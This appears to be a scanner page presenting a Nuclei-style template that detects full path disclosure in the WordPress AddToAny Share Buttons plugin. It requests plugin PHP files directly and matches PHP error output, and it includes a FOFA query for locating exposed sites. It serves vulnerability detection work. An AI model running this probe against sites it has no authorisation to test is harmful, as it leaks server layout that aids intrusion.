wp-add-to-any-fpd: WordPress AddToAny Share Buttons Plugin - Full Path Disclosure

Description

The AddToAny Share Buttons plugin for WordPress was detected to be vulnerable to Full Path Disclosure, allowing unauthenticated access to the full application path.

PoC

id: wp-add-to-any-fpd

info:
  name: WordPress AddToAny Share Buttons Plugin - Full Path Disclosure
  author: pussycat0x
  severity: low
  description: |
    The AddToAny Share Buttons plugin for WordPress was detected to be vulnerable to Full Path Disclosure, allowing unauthenticated access to the full application path.
  reference:
    - https://wordpress.org/plugins/add-to-any/
  metadata:
    max-request: 5
    vendor: wordpress
    product: add-to-any
    fofa-query: body="/wp-content/plugins/add-to-any/"
  tags: wordpress,wp,wp-plugin,fpd,disclosure,add-to-any,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/add-to-any/add-to-any.php"
      - "{{BaseURL}}/wp-content/plugins/add-to-any/addtoany.php"
      - "{{BaseURL}}/wp-content/plugins/add-to-any/includes/addtoany.class.php"
      - "{{BaseURL}}/wp-content/plugins/add-to-any/admin/class-addtoany-admin.php"
      - "{{BaseURL}}/wp-content/plugins/add-to-any/admin/settings.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Fatal error", "Uncaught Error:") || contains_all(body, "Warning:", "failed to open stream")'
          - 'status_code == 200 || status_code == 500'
          - 'contains(body, "add-to-any")'
        condition: and
# digest: 490a0046304402207023f4336a13cfbd784c3da0f4775e6e8af071f406cb7eb88d9346741e88a464022006b025f4ad48b9d88f06ebd2aebf3ca2c5db2eb65a6287aa99146d301f963338:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities